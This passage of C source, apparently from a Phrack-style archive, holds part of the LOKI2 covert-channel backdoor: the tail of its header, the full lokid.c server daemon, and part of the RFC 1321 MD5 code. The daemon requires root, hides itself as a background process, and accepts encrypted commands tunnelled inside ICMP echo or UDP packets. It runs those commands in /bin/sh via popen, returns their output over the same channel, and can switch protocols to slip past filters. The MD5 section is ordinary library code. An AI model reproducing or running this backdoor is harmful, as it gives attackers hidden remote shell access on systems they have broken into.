u_short uh_ulen; /* 2 byte length */
|
|
u_short uh_sum; /* 2 byte checksum */
|
|
};
|
|
|
|
|
|
/*
|
|
* LOKI packet prototype
|
|
*/
|
|
|
|
struct loki
|
|
{
|
|
struct ip iph; /* IP header */
|
|
union
|
|
{
|
|
struct icmp_echo icmph; /* ICMP header */
|
|
struct udp udph; /* UDP header */
|
|
}ttype;
|
|
u_char payload[BUFSIZE]; /* data payload */
|
|
};
|
|
|
|
#define LOKIP_SIZE sizeof(struct loki)
|
|
#define LP_DST rdg.iph.ip_src
|
|
|
|
void blur(int, int, u_char *); /* Symmetric encryption function */
|
|
char *host_lookup(u_long); /* network byte -> human readable */
|
|
u_long name_resolve(char *); /* human readable -> network byte */
|
|
u_short i_check(u_short *, int); /* Ah yes, the IP family checksum */
|
|
int c_parse(u_char *, int *); /* parse escaped commands [client] */
|
|
void d_parse(u_char *, pid_t, int); /* parse escaped commands [server] */
|
|
/* build and transmit LOKI packets */
|
|
void loki_xmit(u_char *, u_short, int, struct sockaddr_in, int);
|
|
int lokid_xmit(u_char *, u_long, int, int);
|
|
void err_exit(int, int, int, char *); /* handle exit with reason */
|
|
void clean_exit(int); /* exit cleanly */
|
|
void help(); /* lala */
|
|
void shadow(); /* daemonizing routine */
|
|
void swap_t(int); /* swap protocols [server-side] */
|
|
void reaper(int); /* prevent zombies */
|
|
void catch_timeout(int); /* ALARM signal catcher */
|
|
void client_expiry_check(); /* expire client from shm */
|
|
void prep_shm(); /* Prepare shm ans semaphore */
|
|
void dump_shm(); /* detach shm */
|
|
void packets_read(); /* packets read (client) */
|
|
void fd_status(int, int); /* dumps fd stats */
|
|
#ifdef PTY
|
|
int ptym_open(char *);
|
|
int ptys_open(int, char *);
|
|
pid_t pty_fork(int *, char *, struct termios *, struct winsize *);
|
|
#endif
|
|
#ifdef STRONG_CRYPTO
|
|
DH* generate_dh_keypair(); /* generate DH params and keypair */
|
|
u_char *extract_bf_key(u_char *, int); /* extract and md5 and set bf key */
|
|
#endif
|
|
|
|
#endif /* __LOKI_H__ */
|
|
<--> loki.h
|
|
<++> L2/lokid.c
|
|
/*
|
|
* LOKI2
|
|
*
|
|
* [ lokid.c ]
|
|
*
|
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|
*/
|
|
|
|
|
|
#include "loki.h"
|
|
#include "client_db.h"
|
|
#include "shm.h"
|
|
|
|
jmp_buf env; /* holds our stack frame */
|
|
struct loki sdg, rdg; /* LOKI packets */
|
|
time_t uptime = 0; /* server uptime */
|
|
u_long b_sent = 0, p_sent = 0; /* bytes / packets written */
|
|
u_short c_id = 0; /* client id */
|
|
int destroy_shm = NOK; /* Used to mark whether or not
|
|
* a process should destroy the
|
|
* shm segment upon exiting.
|
|
*/
|
|
int verbose = OK, prot = IPPROTO_ICMP, ripsock = 0, tsock = 0;
|
|
|
|
#ifdef STRONG_CRYPTO
|
|
extern u_char user_key[BF_KEYSIZE];
|
|
extern BF_KEY bf_key;
|
|
extern u_short ivec_salt;
|
|
DH *dh_keypair = NULL; /* DH public and private key */
|
|
#endif
|
|
|
|
#ifdef PTY
|
|
int mfd = 0; /* master PTY file descriptor */
|
|
#endif
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
|
|
static int one = 1, c = 0, cflags = 0;
|
|
u_char buf1[BUFSIZE] = {0};
|
|
pid_t pid = 0;
|
|
#ifdef STRONG_CRYPTO
|
|
static int c_ind = -1;
|
|
#endif
|
|
#ifdef POPEN
|
|
FILE *job = NULL;
|
|
char buf2[BUFSIZE] = {0};
|
|
#endif
|
|
/* ensure we have proper permissions */
|
|
if (geteuid() || getuid()) err_exit(0, 1, 1, L_MSG_NOPRIV);
|
|
while ((c = getopt(argc, argv, "v:p:")) != EOF)
|
|
{
|
|
switch (c)
|
|
{
|
|
case 'v': /* change verbosity */
|
|
verbose = atoi(optarg);
|
|
break;
|
|
|
|
case 'p': /* choose transport protocol */
|
|
switch (optarg[0])
|
|
{
|
|
case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */
|
|
prot = IPPROTO_ICMP;
|
|
break;
|
|
|
|
case 'u': /* DNS query / reply */
|
|
prot = IPPROTO_UDP;
|
|
break;
|
|
|
|
default:
|
|
err_exit(1, 0, 1, "Unknown transport\n");
|
|
}
|
|
break;
|
|
|
|
default:
|
|
err_exit(0, 0, 1, S_MSG_USAGE);
|
|
}
|
|
}
|
|
if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
|
|
err_exit(1, 1, 1, L_MSG_SOCKET);
|
|
#ifdef STRONG_CRYPTO /* ICMP only with strong crypto */
|
|
if (prot != IPPROTO_ICMP) err_exit(0, 0, 1, L_MSG_ICMPONLY);
|
|
#else
|
|
/* Child will signal parent if a
|
|
* transport protcol switch is
|
|
* required
|
|
*/
|
|
if (signal(SIGUSR1, swap_t) == SIG_ERR)
|
|
err_exit(1, 1, verbose, L_MSG_SIGUSR1);
|
|
#endif
|
|
|
|
if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
|
|
err_exit(1, 1, 1, L_MSG_SOCKET);
|
|
#ifdef DEBUG
|
|
fprintf(stderr, "\nRaw IP socket: ");
|
|
fd_status(ripsock, OK);
|
|
#endif
|
|
|
|
#ifdef IP_HDRINCL
|
|
if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
|
|
if (verbose) perror("Cannot set IP_HDRINCL socket option");
|
|
#endif
|
|
/* power up shared memory segment and
|
|
* semaphore, register dump_shm to be
|
|
* called upon exit
|
|
*/
|
|
prep_shm();
|
|
if (atexit(dump_shm) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);
|
|
|
|
fprintf(stderr, L_MSG_BANNER);
|
|
time(&uptime); /* server uptime timer */
|
|
|
|
#ifdef STRONG_CRYPTO
|
|
/* Generate DH parameters */
|
|
if (verbose) fprintf(stderr, "\nlokid: %s", L_MSG_DHKEYGEN);
|
|
if (!(dh_keypair = generate_dh_keypair()))
|
|
err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
|
|
if (verbose) fprintf(stderr, "\nlokid: done.\n");
|
|
#endif
|
|
#ifndef DEBUG
|
|
shadow(); /* go daemon */
|
|
#endif
|
|
destroy_shm = OK; /* if this process exits at any point
|
|
* from hereafter, mark shm as destroyed
|
|
*/
|
|
/* Every KEY_TIMER seconds, we should
|
|
* check the client_key list and see
|
|
* if any entries have been idle long
|
|
* enough to expire them.
|
|
*/
|
|
if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
|
|
err_exit(1, 1, verbose, L_MSG_SIGALRM);
|
|
alarm(KEY_TIMER);
|
|
|
|
if (signal(SIGCHLD, reaper) == SIG_ERR)
|
|
err_exit(1, 1, verbose, L_MSG_SIGCHLD);
|
|
|
|
for (; ;)
|
|
{
|
|
cflags &= ~VALIDP; /* Blocking read */
|
|
c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE);
|
|
|
|
switch (prot)
|
|
{ /* Is this a valid Loki packet? */
|
|
case IPPROTO_ICMP:
|
|
if ((IS_GOOD_ITYPE_D(rdg)))
|
|
{
|
|
cflags |= VALIDP;
|
|
c_id = rdg.ttype.icmph.icmp_id;
|
|
}
|
|
break;
|
|
|
|
case IPPROTO_UDP:
|
|
if ((IS_GOOD_UTYPE_D(rdg)))
|
|
{
|
|
cflags |= VALIDP;
|
|
c_id = rdg.ttype.udph.uh_sport;
|
|
}
|
|
break;
|
|
|
|
default:
|
|
err_exit(1, 0, verbose, L_MSG_WIERDERR);
|
|
}
|
|
if (cflags & VALIDP)
|
|
{
|
|
#ifdef DEBUG
|
|
fprintf(stderr, "\n[DEBUG]\t\tlokid: packet read %d bytes, type: ", c);
|
|
PACKET_TYPE(rdg);
|
|
DUMP_PACKET(rdg, c);
|
|
#endif
|
|
switch (pid = fork())
|
|
{
|
|
case 0:
|
|
destroy_shm = NOK; /* child should NOT mark segment as
|
|
* destroyed when exiting...
|
|
*/
|
|
/* TLI seems to have problems in
|
|
* passing socket file desciptors around
|
|
*/
|
|
#ifdef SOLARIS
|
|
close(ripsock);
|
|
if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
|
|
err_exit(1, 1, 1, L_MSG_SOCKET);
|
|
#ifdef DEBUG
|
|
fprintf(stderr, "\nRaw IP socket: ");
|
|
fd_status(ripsock, OK);
|
|
#endif /* DEBUG */
|
|
#endif /* SOLARIS */
|
|
break;
|
|
|
|
default: /* parent will loop forever spawning
|
|
* children if we do not zero rdg
|
|
*/
|
|
bzero((struct loki *)&rdg, LOKIP_SIZE);
|
|
cflags &= ~VALIDP;
|
|
continue;
|
|
|
|
case -1: /* fork error */
|
|
err_exit(1, 1, verbose, "[fatal] forking error");
|
|
}
|
|
#ifdef STRONG_CRYPTO
|
|
/* preliminary evaluation of the pkt
|
|
* to see if we have a request for the
|
|
* servers public key
|
|
*/
|
|
if (rdg.payload[0] == L_PK_REQ)
|
|
{
|
|
if (verbose)
|
|
{
|
|
fprintf(stderr, "\nlokid: public key submission and request : %s <%d> ", host_lookup(rdg.iph.ip_dst), c_id);
|
|
fprintf(stderr, "\nlokid: computing shared secret");
|
|
}
|
|
DH_compute_key(buf1, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair);
|
|
if (verbose) fprintf(stderr, "\nlokid: extracting 128-bit blowfish key");
|
|
/* Try to add client to client list */
|
|
if (((c = add_client(extract_bf_key(buf1, NOK))) == -1))
|
|
{
|
|
#else
|
|
if (((c = add_client((u_char *)NULL)) == -1))
|
|
{
|
|
#endif /* MAX_CLIENT limit reached */
|
|
lokid_xmit(S_MSG_PACKED, LP_DST, L_ERR, NOCR);
|
|
lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
|
|
err_exit(1, 0, verbose, "\nlokid: Cannot add key\n");
|
|
}
|
|
|
|
#ifdef STRONG_CRYPTO
|
|
if (verbose)
|
|
{
|
|
fprintf(stderr, "\nlokid: client <%d> added to list [%d]", c_id, c);
|
|
fprintf(stderr, "\nlokid: submiting my public key to client");
|
|
} /* send our public key to the client */
|
|
bzero((u_char *)buf1, BUFSIZE);
|
|
BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf1);
|
|
|
|
lokid_xmit(buf1, LP_DST, L_PK_REPLY, NOCR);
|
|
lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
|
|
clean_exit(0);
|
|
}
|
|
bzero((u_char *)buf1, BUFSIZE);
|
|
/* Control falls here when we have
|
|
* a regular request packet.
|
|
*/
|
|
if ((c_ind = locate_client(FIND)) == -1)
|
|
{ /* Cannot locate the client's entry */
|
|
lokid_xmit(S_MSG_UNKNOWN, LP_DST, L_ERR, NOCR);
|
|
lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
|
|
err_exit(1, 0, verbose, S_MSG_UNKNOWN);
|
|
} /* set expanded blowfish key */
|
|
else BF_set_key(&bf_key, BF_KEYSIZE, user_key);
|
|
#endif
|
|
/* unload payload */
|
|
bcopy(&rdg.payload[1], buf1, BUFSIZE - 1);
|
|
#ifdef STRONG_CRYPTO
|
|
/* The IV salt is incremented in the
|
|
* client prior to encryption, ergo
|
|
* the server should increment before
|
|
* decrypting
|
|
*/
|
|
ivec_salt = update_client_salt(c_ind);
|
|
#endif
|
|
blur(DECR, BUFSIZE - 1, buf1);
|
|
/* parse escaped command */
|
|
if (buf1[0] == '/') d_parse(buf1, pid, ripsock);
|
|
#ifdef POPEN /* popen the shell command and execute
|
|
* it inside of /bin/sh
|
|
*/
|
|
if (!(job = popen(buf1, "r")))
|
|
err_exit(1, 1, verbose, "\nlokid: popen");
|
|
|
|
while (fgets(buf2, BUFSIZE - 1, job))
|
|
{
|
|
bcopy(buf2, buf1, BUFSIZE);
|
|
lokid_xmit(buf1, LP_DST, L_REPLY, OKCR);
|
|
}
|
|
lokid_xmit(buf1, LP_DST, L_EOT, OKCR);
|
|
#ifdef STRONG_CRYPTO
|
|
update_client(c_ind, p_sent, b_sent);
|
|
#else
|
|
update_client(locate_client(FIND), p_sent, b_sent);
|
|
#endif
|
|
clean_exit(0); /* exit the child after sending
|
|
* the last packet
|
|
*/
|
|
#endif
|
|
#ifdef PTY /* Not implemented yet */
|
|
fprintf(stderr, "\nmfd: %d", mfd);
|
|
#endif
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
/*
|
|
* Build and transmit Loki packets (server-side version)
|
|
*/
|
|
|
|
int lokid_xmit(u_char *payload, u_long dst, int ptype, int crypt_flag)
|
|
{
|
|
struct sockaddr_in sin;
|
|
int i = 0;
|
|
|
|
bzero((struct loki *)&sdg, LOKIP_SIZE);
|
|
|
|
sin.sin_family = AF_INET;
|
|
sin.sin_addr.s_addr = dst;
|
|
sdg.payload[0] = ptype; /* set packet type */
|
|
/* Do not encrypt error or public
|
|
* key reply packets
|
|
*/
|
|
if (crypt_flag == OKCR) blur(ENCR, BUFSIZE - 1, payload);
|
|
bcopy(payload, &sdg.payload[1], BUFSIZE - 1);
|
|
|
|
if (prot == IPPROTO_ICMP)
|
|
{
|
|
#ifdef NET3 /* Our workaround. */
|
|
sdg.ttype.icmph.icmp_type = ICMP_ECHO;
|
|
#else
|
|
sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY;
|
|
#endif
|
|
sdg.ttype.icmph.icmp_code = (int)NULL;
|
|
sdg.ttype.icmph.icmp_id = c_id; /* client ID */
|
|
sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */
|
|
sdg.ttype.icmph.icmp_cksum =
|
|
i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
|
|
}
|
|
if (prot == IPPROTO_UDP)
|
|
{
|
|
sdg.ttype.udph.uh_sport = NL_PORT;
|
|
sdg.ttype.udph.uh_dport = rdg.ttype.udph.uh_sport;
|
|
sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE);
|
|
sdg.ttype.udph.uh_sum =
|
|
i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
|
|
}
|
|
sdg.iph.ip_v = 0x4;
|
|
sdg.iph.ip_hl = 0x5;
|
|
sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE);
|
|
sdg.iph.ip_ttl = 0x40;
|
|
sdg.iph.ip_p = prot;
|
|
sdg.iph.ip_dst = sin.sin_addr.s_addr;
|
|
|
|
#ifdef SEND_PAUSE
|
|
usleep(SEND_PAUSE);
|
|
#endif
|
|
if ((i = sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *)&sin, sizeof(sin))) < LOKIP_SIZE)
|
|
{
|
|
if (verbose) perror("[non fatal] truncated write");
|
|
}
|
|
else
|
|
{ /* Update global stats */
|
|
b_sent += i;
|
|
p_sent ++;
|
|
}
|
|
return ((i < 0 ? 0 : i)); /* Make snocrash happy (return bytes written,
|
|
* or return 0 if there was an error)
|
|
*/
|
|
}
|
|
|
|
|
|
/*
|
|
* Parse escaped commands (server-side version)
|
|
*/
|
|
|
|
void d_parse(u_char *buf, pid_t pid, int ripsock)
|
|
{
|
|
u_char buf2[4 * BUFSIZE] = {0};
|
|
int n = 0, m = 0;
|
|
u_long client_ip = 0;
|
|
/* client request for an all kill */
|
|
if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
|
|
{
|
|
if (verbose) fprintf(stderr, "\nlokid: client <%d> requested an all kill\n", c_id);
|
|
while (n < MAX_CLIENT) /* send notification to all clients */
|
|
{
|
|
if ((client_ip = check_client_ip(n++, &c_id)))
|
|
{
|
|
if (verbose) fprintf(stderr, "\tsending L_QUIT: <%d> %s\n", c_id, host_lookup(client_ip));
|
|
lokid_xmit(buf, client_ip, L_QUIT, NOCR);
|
|
}
|
|
}
|
|
if (verbose) fprintf(stderr, S_MSG_CLIENTK);
|
|
/* send a SIGKILL to all the processes
|
|
* in the servers group...
|
|
*/
|
|
if ((kill(-pid, SIGKILL)) == -1)
|
|
err_exit(1, 1, verbose, "[fatal] could not signal process group");
|
|
clean_exit(0);
|
|
}
|
|
/* client is exited, remove entry
|
|
* from the client list
|
|
*/
|
|
if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
|
|
{
|
|
if ((m = locate_client(DESTROY)) == -1)
|
|
err_exit(1, 0, verbose, S_MSG_UNKNOWN);
|
|
else if (verbose) fprintf(stderr, "\nlokid: client <%d> freed from list [%d]", c_id, m);
|
|
clean_exit(0);
|
|
}
|
|
/* stat request */
|
|
if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
|
|
{
|
|
bzero((u_char *)buf2, 4 * BUFSIZE);
|
|
/* Ok. This is an ugly hack to keep
|
|
* packet counts in sync with the
|
|
* stat request. We know the amount
|
|
* of packets we are going to send (and
|
|
* therefore the byte count) in advance
|
|
* so we can preload the values.
|
|
*/
|
|
update_client(locate_client(FIND), 5, 5 * LOKIP_SIZE);
|
|
n = stat_client(locate_client(FIND), buf2, prot, uptime);
|
|
/* breakdown payload into BUFSIZE-1
|
|
* chunks, suitable for transmission
|
|
*/
|
|
for (; m < n; m += (BUFSIZE - 1))
|
|
{
|
|
bcopy(&buf2[m], buf, BUFSIZE - 1);
|
|
lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
|
|
}
|
|
lokid_xmit(buf, LP_DST, L_EOT, OKCR);
|
|
clean_exit(0); /* exit the child after sending
|
|
* the last packet
|
|
*/
|
|
}
|
|
#ifndef STRONG_CRYPTO /* signal parent to change protocols */
|
|
if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
|
|
{
|
|
if (kill(getppid(), SIGUSR1))
|
|
err_exit(1, 1, verbose, "[fatal] could not signal parent");
|
|
clean_exit(0);
|
|
}
|
|
#endif
|
|
/* unsupport/unrecognized command */
|
|
lokid_xmit(S_MSG_UNSUP, LP_DST, L_REPLY, OKCR);
|
|
lokid_xmit(buf2, LP_DST, L_EOT, OKCR);
|
|
|
|
update_client(locate_client(FIND), p_sent, b_sent);
|
|
clean_exit(0);
|
|
}
|
|
|
|
|
|
/*
|
|
* Swap transport protocols. This is called as a result of SIGUSR1 from
|
|
* a child server process.
|
|
*/
|
|
|
|
|
|
void swap_t(int signo)
|
|
{
|
|
|
|
int n = 0;
|
|
u_long client_ip = 0;
|
|
struct protoent *pprot = 0;
|
|
char buf[BUFSIZE] = {0};
|
|
|
|
if (verbose) fprintf(stderr, "\nlokid: client <%d> requested a protocol swap\n", c_id);
|
|
|
|
while (n < MAX_CLIENT)
|
|
{
|
|
if ((client_ip = check_client_ip(n++, &c_id)))
|
|
{
|
|
fprintf(stderr, "\tsending protocol update: <%d> %s [%d]\n", c_id, host_lookup(client_ip), n);
|
|
lokid_xmit(buf, client_ip, L_REPLY, OKCR);
|
|
lokid_xmit(buf, client_ip, L_EOT, OKCR);
|
|
/* update_client(locate_client(FIND), p_sent, b_sent);*/
|
|
}
|
|
}
|
|
|
|
close(tsock);
|
|
|
|
prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
|
|
if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
|
|
err_exit(1, 1, verbose, L_MSG_SOCKET);
|
|
pprot = getprotobynumber(prot);
|
|
sprintf(buf, "lokid: transport protocol changed to %s\n", pprot -> p_name);
|
|
fprintf(stderr, "\n%s", buf);
|
|
|
|
lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
|
|
lokid_xmit(buf, LP_DST, L_EOT, OKCR);
|
|
update_client(locate_client(FIND), p_sent, b_sent);
|
|
/* re-establish signal handler */
|
|
if (signal(SIGUSR1, swap_t) == SIG_ERR)
|
|
err_exit(1, 1, verbose, L_MSG_SIGUSR1);
|
|
}
|
|
|
|
/* EOF */
|
|
<--> lokid.c
|
|
<++> L2/md5/Makefile
|
|
# Makefile for MD5 from rfc1321 code
|
|
|
|
CCF = -O -DMD=5
|
|
|
|
md5c.o: md5.h global.h
|
|
gcc $(CCF) -c md5c.c
|
|
|
|
clean:
|
|
rm -f *.o core
|
|
<--> md5/Makefile
|
|
<++> L2/md5/global.h
|
|
/* GLOBAL.H - RSAREF types and constants
|
|
*/
|
|
|
|
/* PROTOTYPES should be set to one if and only if the compiler supports
|
|
function argument prototyping.
|
|
The following makes PROTOTYPES default to 0 if it has not already
|
|
|
|
|
|
|
|
Rivest [Page 7]
|
|
|
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|
|
|
|
|
been defined with C compiler flags.
|
|
*/
|
|
#ifndef PROTOTYPES
|
|
#define PROTOTYPES 0
|
|
#endif
|
|
|
|
/* POINTER defines a generic pointer type */
|
|
typedef unsigned char *POINTER;
|
|
|
|
/* UINT2 defines a two byte word */
|
|
typedef unsigned short int UINT2;
|
|
|
|
/* UINT4 defines a four byte word */
|
|
typedef unsigned long int UINT4;
|
|
|
|
/* PROTO_LIST is defined depending on how PROTOTYPES is defined above.
|
|
If using PROTOTYPES, then PROTO_LIST returns the list, otherwise it
|
|
returns an empty list.
|
|
*/
|
|
#if PROTOTYPES
|
|
#define PROTO_LIST(list) list
|
|
#else
|
|
#define PROTO_LIST(list) ()
|
|
#endif
|
|
<--> md5/global.h
|
|
<++> L2/md5/md5.h
|
|
/* MD5.H - header file for MD5C.C
|
|
*/
|
|
|
|
/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
|
|
rights reserved.
|
|
|
|
License to copy and use this software is granted provided that it
|
|
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
|
|
Algorithm" in all material mentioning or referencing this software
|
|
or this function.
|
|
|
|
License is also granted to make and use derivative works provided
|
|
that such works are identified as "derived from the RSA Data
|
|
Security, Inc. MD5 Message-Digest Algorithm" in all material
|
|
mentioning or referencing the derived work.
|
|
|
|
RSA Data Security, Inc. makes no representations concerning either
|
|
the merchantability of this software or the suitability of this
|
|
software for any particular purpose. It is provided "as is"
|
|
without express or implied warranty of any kind.
|
|
|
|
|
|
|
|
|
|
Rivest [Page 8]
|
|
|
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|
|
|
|
|
These notices must be retained in any copies of any part of this
|
|
documentation and/or software.
|
|
*/
|
|
|
|
#define MD5_HASHSIZE 16
|
|
|
|
/* MD5 context. */
|
|
typedef struct {
|
|
UINT4 state[4]; /* state (ABCD) */
|
|
UINT4 count[2]; /* number of bits, modulo 2^64 (lsb first) */
|
|
unsigned char buffer[64]; /* input buffer */
|
|
} MD5_CTX;
|
|
|
|
void MD5Init PROTO_LIST ((MD5_CTX *));
|
|
void MD5Update PROTO_LIST
|
|
((MD5_CTX *, unsigned char *, unsigned int));
|
|
void MD5Final PROTO_LIST ((unsigned char [16], MD5_CTX *));
|
|
<--> md5/md5.h
|
|
<++> L2/md5/md5c.c
|
|
/* MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm
|
|
*/
|
|
|
|
/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
|
|
rights reserved.
|
|
|
|
License to copy and use this software is granted provided that it
|
|
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
|
|
Algorithm" in all material mentioning or referencing this software
|
|
or this function.
|
|
|
|
License is also granted to make and use derivative works provided
|
|
that such works are identified as "derived from the RSA Data
|
|
Security, Inc. MD5 Message-Digest Algorithm" in all material
|
|
mentioning or referencing the derived work.
|
|
|
|
RSA Data Security, Inc. makes no representations concerning either
|
|
the merchantability of this software or the suitability of this
|
|
software for any particular purpose. It is provided "as is"
|
|
without express or implied warranty of any kind.
|
|
|
|
These notices must be retained in any copies of any part of this
|
|
documentation and/or software.
|
|
*/
|
|
|
|
#include "global.h"
|
|
#include "md5.h"
|
|
|
|
/* Constants for MD5Transform routine.
|
|
*/
|
|
|
|
|
|
/*
|
|
Rivest [Page 9]
|
|
|
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|
*/
|
|
|
|
#define S11 7
|
|
#define S12 12
|
|
#define S13 17
|
|
#define S14 22
|
|
#define S21 5
|
|
#define S22 9
|
|
#define S23 14
|
|
#define S24 20
|
|
#define S31 4
|
|
#define S32 11
|
|
#define S33 16
|
|
#define S34 23
|
|
#define S41 6
|
|
#define S42 10
|
|
#define S43 15
|
|
#define S44 21
|
|
|
|
static void MD5Transform PROTO_LIST ((UINT4 [4], unsigned char [64]));
|
|
static void Encode PROTO_LIST
|
|
((unsigned char *, UINT4 *, unsigned int));
|
|
static void Decode PROTO_LIST
|
|
((UINT4 *, unsigned char *, unsigned int));
|
|
static void MD5_memcpy PROTO_LIST ((POINTER, POINTER, unsigned int));
|
|
static void MD5_memset PROTO_LIST ((POINTER, int, unsigned int));
|
|
|
|
static unsigned char PADDING[64] = {
|
|
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
|
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
|
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
|
|
};
|
|
|
|
/* F, G, H and I are basic MD5 functions.
|
|
*/
|
|
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
|
|
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
|
|
#define H(x, y, z) ((x) ^ (y) ^ (z))
|
|
#define I(x, y, z) ((y) ^ ((x) | (~z)))
|
|
|
|
/* ROTATE_LEFT rotates x left n bits.
|
|
*/
|
|
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
|
|
|
|
/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
|
|
Rotation is separate from addition to prevent recomputation.
|
|
*/
|
|
#define FF(a, b, c, d, x, s, ac) { \
|
|
(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
|
(a) = ROTATE_LEFT ((a), (s)); \
|
|
(a) += (b); \
|
|
}
|
|
#define GG(a, b, c, d, x, s, ac) { \
|
|
(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
|
(a) = ROTATE_LEFT ((a), (s)); \
|
|
(a) += (b); \
|
|
}
|
|
#define HH(a, b, c, d, x, s, ac) { \
|
|
(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
|
(a) = ROTATE_LEFT ((a), (s)); \
|
|
(a) += (b); \
|
|
}
|
|
#define II(a, b, c, d, x, s, ac) { \
|
|
(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
|
(a) = ROTATE_LEFT ((a), (s)); \
|
|
(a) += (b); \
|
|
}
|
|
|
|
/* MD5 initialization. Begins an MD5 operation, writing a new context.
|
|
*/
|
|
void MD5Init (context)
|
|
MD5_CTX *context; /* context */
|
|
{
|
|
context->count[0] = context->count[1] = 0;
|
|
/* Load magic initialization constants.
|
|
*/
|
|
context->state[0] = 0x67452301;
|
|
context->state[1] = 0xefcdab89;
|
|
context->state[2] = 0x98badcfe;
|
|
context->state[3] = 0x10325476;
|
|
}
|
|
|
|
/* MD5 block update operation. Continues an MD5 message-digest
|
|
operation, processing another message block, and updating the
|
|
context.
|
|
*/
|
|
void MD5Update (context, input, inputLen)
|
|
MD5_CTX *context; /* context */
|
|
unsigned char *input; /* input block */
|
|
unsigned int inputLen; /* length of input block */
|
|
{
|
|
unsigned int i, index, partLen;
|
|
|
|
/* Compute number of bytes mod 64 */
|
|
index = (unsigned int)((context->count[0] >> 3) & 0x3F);
|
|
|
|
/* Update number of bits */
|
|
if ((context->count[0] += ((UINT4)inputLen << 3))
|
|
|
|
|
|
/*
|
|
Rivest [Page 11]
|
|
|
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|
*/
|
|
|
|
< ((UINT4)inputLen << 3))
|
|
context->count[1]++;
|
|
context->count[1] += ((UINT4)inputLen >> 29);
|
|
|
|
partLen = 64 - index;
|
|
|
|
/* Transform as many times as possible.
|
|
*/
|
|
if (inputLen >= partLen) {
|
|
MD5_memcpy
|
|
((POINTER)&context->buffer[index], (POINTER)input, partLen);
|
|
MD5Transform (context->state, context->buffer);
|
|
|
|
for (i = partLen; i + 63 < inputLen; i += 64)
|
|
MD5Transform (context->state, &input[i]);
|
|
|
|
index = 0;
|
|
}
|
|
else
|
|
i = 0;
|
|
|
|
/* Buffer remaining input */
|
|
MD5_memcpy
|
|
((POINTER)&context->buffer[index], (POINTER)&input[i],
|
|
inputLen-i);
|
|
}
|
|
|
|
/* MD5 finalization. Ends an MD5 message-digest operation, writing the
|
|
the message digest and zeroizing the context.
|
|
*/
|
|
void MD5Final (digest, context)
|
|
unsigned char digest[16]; /* message digest */
|
|
MD5_CTX *context; /* context */
|
|
{
|
|
unsigned char bits[8];
|
|
unsigned int index, padLen;
|
|
|
|
/* Save number of bits */
|
|
Encode (bits, context->count, 8);
|
|
|
|
/* Pad out to 56 mod 64.
|
|
*/
|
|
index = (unsigned int)((context->count[0] >> 3) & 0x3f);
|
|
padLen = (index < 56) ? (56 - index) : (120 - index);
|
|
MD5Update (context, PADDING, padLen);
|
|
|
|
/* Append length (before padding) */
|
|
MD5Update (context, bits, 8);
|
|
|
|
|
|
/*
|
|
Rivest [Page 12]
|
|
|
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|
*/
|
|
|
|
/* Store state in digest */
|
|
Encode (digest, context->state, 16);
|
|
|
|
/* Zeroize sensitive information.
|
|
*/
|
|
MD5_memset ((POINTER)context, 0, sizeof (*context));
|
|
}
|
|
|
|
/* MD5 basic transformation. Transforms state based on block.
|
|
*/
|
|
static void MD5Transform (state, block)
|
|
UINT4 state[4];
|
|
unsigned char block[64];
|
|
{
|
